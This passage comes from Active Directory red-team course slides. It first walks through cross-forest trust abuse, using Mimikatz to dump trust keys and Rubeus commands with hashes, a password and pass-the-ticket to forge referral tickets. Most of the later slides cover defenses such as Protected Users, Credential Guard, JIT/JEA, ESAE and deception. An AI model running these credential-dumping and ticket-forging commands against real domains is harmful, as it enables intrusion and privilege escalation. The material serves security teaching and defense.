[Link] "lsadump::trust /patch" "exit"

• Use the trust key to get a usable TGT as a Domain User in the [Link]
domain using Rubeus.
[Link] asktgt /user:PRODUCTION$ /domain:[Link]
/rc4:ed53a96f391eb0958abd1809ab336039 /dc:[Link] /ptt

• Finally, access a resource in the [Link] domain abusing Domain User


rights.
ls \\[Link]\SYSVOL

AlteredSecurity AD Attacks - Advanced © Altered Security 358

358
359
Cross Forest Attacks – Abusing Trust Transitivity

• A Bidirectional non-transitive External trust can be abused by an


account in a trusted forest to authenticate against any domain within a
trusting forest.

• Inter-real (Referral) TGTs are encrypted with trust keys and the key is
present on domain controllers of both the domains/forests in the trust.

AlteredSecurity AD Attacks - Advanced © Altered Security 360

Blog reference: [Link]


Cross Forest Attacks – Abusing Trust Transitivity
• A non-transitive external trust can be made transitive to compromise
the trusting forest bypassing the principal of non-transitivity.
1. Request a referral TGT as intended from [Link] to [Link] (external bidirectional
trust)
2. Request a "local" TGT for [Link] (service realm - [Link]) since direct access
from [Link] to [Link] isn't allowed.
3. Use the local TGT again to gain another referral TGT for [Link] from [Link]
(bidirectional child to forest trust).
4. Finally, use the resultant referral TGT to gain a TGS for a target service on [Link].

AlteredSecurity AD Attacks - Advanced © Altered Security 361

361
Cross Forest Attacks – Abusing Trust Transitivity

AlteredSecurity AD Attacks - Advanced © Altered Security 362


Cross Forest Attacks – Abusing Trust Transitivity
• Begin by requesting a TGT for the eu\administrator user.
[Link] asktgt /user:administrator /password:0h!DomainDomainOnTheNet
/nowrap

• Next, request a referral TGT for [Link] (Bidirectional non-


transitive External trust)
[Link] asktgs /service:krbtgt/[Link] /dc:[Link]
/nowrap /ticket:<TGT for eu\administrator>

AlteredSecurity AD Attacks - Advanced © Altered Security 363

363
Cross Forest Attacks – Abusing Trust Transitivity
• Now use the above referral TGT to gain a “local” TGT for [Link] (service
realm is [Link])
[Link] asktgs /service:krbtgt/[Link] /dc:[Link]
/targetdomain:[Link] /nowrap /ticket:<referral TGT from above>

• Using the “local” TGT now request another referral TGT for [Link]
(bidirectional child to forest trust).
[Link] asktgs /service:krbtgt/[Link] /dc:[Link]
/targetdomain:[Link] /nowrap /ticket:<“local” TGT>

• Finally, request a usable TGS to gain access onto any target service (CIFS in this case)
on [Link].
[Link] asktgs /service:cifs/[Link] /dc:techcorp-
[Link] /nowrap /ptt /ticket:<referral TGT from above>

AlteredSecurity AD Attacks - Advanced © Altered Security 364

364
365
AlteredSecurity AD Attacks - Advanced © Altered Security 366

366
Detection and Defense
• Protect and Limit Domain Admins
• Isolate administrative workstations
• Secure local administrators
• Time bound and just enough administration
• Isolate administrators in a separate forest and breach containment using
Tiers and ESAE

AlteredSecurity AD Attacks - Advanced © Altered Security 367

367
Protect and Limit Domain Admins
• Reduce the number of Domain Admins in your environment.
• Do not allow or limit login of DAs to any other machine other than the
Domain Controllers. If logins to some servers is necessary, do not allow
other administrators to login to that machine.
• (Try to) Never run a service with a DA. Credential theft protections
which we are going to discuss soon are rendered useless in case of a
service account.
• Set "Account is sensitive and cannot be delegated" for DAs.

AlteredSecurity AD Attacks - Advanced © Altered Security 368

368
Protect and Limit Domain Admins
Protected Users Group
• Protected Users is a group introduced in Server 2012 R2 for "better protection against
credential theft" by not caching credentials in insecure ways. A user added to this group has
following major device protections:
– Cannot use CredSSP and WDigest - No more cleartext credentials caching.
– NTLM hash is not cached.
– Kerberos does not use DES or RC4 keys. No caching of clear text cred or long term keys.
• If the domain functional level is Server 2012 R2, following DC protections are available:
– No NTLM authentication.
– No DES or RC4 keys in Kerberos pre-auth.
– No delegation (constrained or unconstrained)
– No renewal of TGT beyond initial four hour lifetime - Hardcoded, unconfigurable
"Maximum lifetime for user ticket" and "Maximum lifetime for user ticket renewal"

AlteredSecurity AD Attacks - Advanced © Altered Security 369

[Link]
and-management/protected-users-security-group
[Link]
configure-protected-accounts#BKMK_AddtoProtectedUsers

369
Protect and Limit Domain Admins
Protected Users Group
• Needs all domain control to be at least Server 2008 or later (because
AES keys).
• Not recommended by MS to add DAs and EAs to this group without
testing "the potential impact" of lock out.
• No cached logon i.e. no offline sign-on.
• Having computer and service accounts in this group is useless as their
credentials will always be present on the host machine.

AlteredSecurity AD Attacks - Advanced © Altered Security 370

370
Isolate administrative workstations
Privileged Administrative Workstations (PAWs)
• A hardened workstation for performing sensitive tasks like
administration of domain controllers, cloud infrastructure, sensitive
business functions etc.
• Can provides protection from phishing attacks, OS vulnerabilities,
credential replay attacks.
• Admin Jump servers to be accessed only from a PAW, multiple strategies
– Separate privilege and hardware for administrative and normal tasks.
– Having a VM on a PAW for user tasks.

AlteredSecurity AD Attacks - Advanced © Altered Security 371

371
[Link]
Time Bound Administration - JIT
• Just In Time (JIT) administration provides the ability to grant time-bound
administrative access on per-request bases.
• Check out Temporary Group Membership! (Requires Privileged Access
Management Feature to be enabled which can't be turned off later)
Add-ADGroupMember -Identity 'Domain Admins' -Members
newDA -MemberTimeToLive (New-TimeSpan -Minutes 60)

AlteredSecurity AD Attacks - Advanced © Altered Security 373

373
Time Bound Administration - JEA
• JEA (Just Enough Administration) provides role based access control for
PowerShell based remote delegated administration.
• With JEA non-admin users can connect remotely to machines for doing
specific administrative tasks.
• For example, we can control the command a user can run and even
restrict parameters which can be used.
• JEA endpoints have PowerShell transcription and logging enabled.

AlteredSecurity AD Attacks - Advanced © Altered Security 374

374
Detection and Defense - ESAE
ESAE (Enhanced Security Admin Environment)
• Dedicated administrative forest for managing critical assets like administrative
users, groups and computers.
• Since a forest is considered a security boundary rather than a domain, this
model provides enhanced security controls.
• The administrative forest is also called the Red Forest.
• Administrative users in a production forest are used as standard non-
privileged users in the administrative forest.
• Selective Authentication to the Red Forest enables stricter security controls
on logon of users from non-administrative forests.
• Microsoft retired ESAE in 2021 and replaced it with Privileged Access Strategy
but it is still worth discussing.

AlteredSecurity AD Attacks - Advanced © Altered Security 375

[Link]
privileged-access/securing-privileged-access-reference-material#ESAE_BM

375
ESAE

AlteredSecurity AD Attacks - Advanced © Altered Security 376

376
Detection and Defense - Privileged Access Strategy
• Privileged access strategy is Microsoft's guidance for securing an
enterprise.
• ".. a broader strategy to move towards a Zero Trust architecture"
• Zero Trust - Verify explicitly, Use least privilege access and Assume
breach.
• Privileged access strategy includes and focuses on using Azure services.
"Cloud is a source of security"
• Includes Rapid Modernization Plan (RAMP) to adapt recommendations.

AlteredSecurity AD Attacks - Advanced © Altered Security 377

[Link]
workstations/privileged-access-strategy
[Link]
rapid-modernization-plan

377
Detection and Defense - Privileged Access Strategy

AlteredSecurity AD Attacks - Advanced © Altered Security 378

Image Source - [Link]


workstations/privileged-access-strategy

378
Detection and Defense - Enterprise Access Model
• This replaces the Tier model discussed earlier. This model uses different
planes:
• Control Plane
– Addresses access control. Identity is the primary control.
– Other access controls include network, applications and data.
• Management plane - To manage and monitor assets
• Data/Workload Plane - Assets with business value like applications, data,
workload, IP etc.
• User access - Employee access, public access, B2B etc.
• App access - API access

AlteredSecurity AD Attacks - Advanced © Altered Security 379

[Link]
workstations/privileged-access-access-model

379
Detection and Defense - Enterprise Access Model

AlteredSecurity AD Attacks - Advanced © Altered Security 380

Image source - [Link]


workstations/privileged-access-access-model

380
Detection and Defense - Credential Guard
• It "uses virtualization-based security to isolate secrets so that only
privileges system software can access them".
• Effective in stopping PTH and Over-PTH attacks by restricting access to
NTLM hashes and TGTs. It is not possible to write Kerberos tickets to
memory even if we have credentials.
[Link]

AlteredSecurity AD Attacks - Advanced © Altered Security 381

[Link]
[Link]

381
Detection and Defense - Credential Guard
• But, credentials for local accounts in SAM and Service account
credentials from LSA Secrets are NOT protected.
• Credential Guard cannot be enabled on a domain controller as it breaks
authentication there.
• Only available on the Windows 10/later Enterprise edition and Server
2016 onwards.
• There are bypasses (like using Custom SSP) but still very effective.

AlteredSecurity AD Attacks - Advanced © Altered Security 382

382
Detection and Defense - Device Guard (WDAC)
• It is a group of features "designed to harden a system against malware attacks. Its
focus is preventing malicious code from running by ensuring only known good code
can run."
• Three primary components:
– Configurable Code Integrity (CCI) - Configure only trusted code to run
– Virtual Secure Mode Protected Code Integrity - Enforces CCI with Kernel Mode (KMCI) and User
Mode (UMCI)
– Platform and UEFI Secure Boot - Ensures boot binaries and firmware integrity
[Link]
virtualization-based-security-and-code-integrity-policies

AlteredSecurity AD Attacks - Advanced © Altered Security 383

383
[Link]
[Link]
alerts
[Link]
[Link]
Detection and Defense - Ticket Forging and Replay
• For all the attacks that include Forging or Replaying Kerberos tickets, the
easiest detection is - Access to a privileged or higher tier asset from a
lower tier.

• Applies on Golden, Silver, Diamond tickets and a lot of other attacks!

AlteredSecurity AD Attacks - Advanced © Altered Security 387

387
[Link]
accounts/group-managed-service-accounts-overview
Detection and Defense - Deception
• Deception is a very effective technique in active directory defense.
• By using decoy domain objects, defenders can trick adversaries to follow
a particular attack path which increases chances of detection and
increase their cost in terms of time.
• Traditionally, deception has been limited to leave honey credentials on
some boxes and check their usage but we can use it effectively during
other phases of an attack.

AlteredSecurity AD Attacks - Advanced © Altered Security 390

390
Detection and Defense - Deception
• What to target? Adversary mindset of going for the "lowest hanging fruit" and
illusive superiority over defenders.
• We must provide the adversaries what they are looking for. For example, what
adversaries look for in a user object:
– A user with high privileges.
– Permissions over other objects.
– Poorly configured ACLs.
– Misconfigured/dangerous user attributes and so on.
• Let's create some user objects which can be used for deceiving adversaries. We can
use Deploy-Deception for this: [Link]
• Note that Windows Settings|Security Settings|Advanced Audit Policy
Configuration|DS Access|Audit Directory Service Access Group Policy needs to be
configured to enable 4662 logging.

AlteredSecurity AD Attacks - Advanced © Altered Security 391

391
Detection and Defense - User Deception
• Creates a decoy user whose password never expires and a 4662 is
logged whenever x500uniqueIdentifier - d07da11f-8a3d-42b6-b0aa-
76c962be719a property of the user is read.:
Create-DecoyUser -UserFirstName user -UserLastName
manager -Password Pass@123 | Deploy-UserDeception -
UserFlag PasswordNeverExpires -GUID d07da11f-8a3d-42b6-
b0aa-76c962be719a -Verbose

• This property is not read by [Link], WMI classes (like


Win32_UserAccount) and ActiveDirectory module. But LDAP based tools
like PowerView and ADExplorer trigger the logging.

AlteredSecurity AD Attacks - Advanced © Altered Security 392

392
Thank you
• Please provide feedback.
• Follow me @nikhil_mitt
• nikhil@[Link]
• For other red team labs: [Link]
• For bootcamps: [Link]
• For lab extension/access/support, please contact :
redteamsupport@[Link]
• Discord (Claim crte-enrolled role to access the dedicated channel) - -
[Link]
AlteredSecurity AD Attacks - Advanced © Altered Security 393

393

You might also like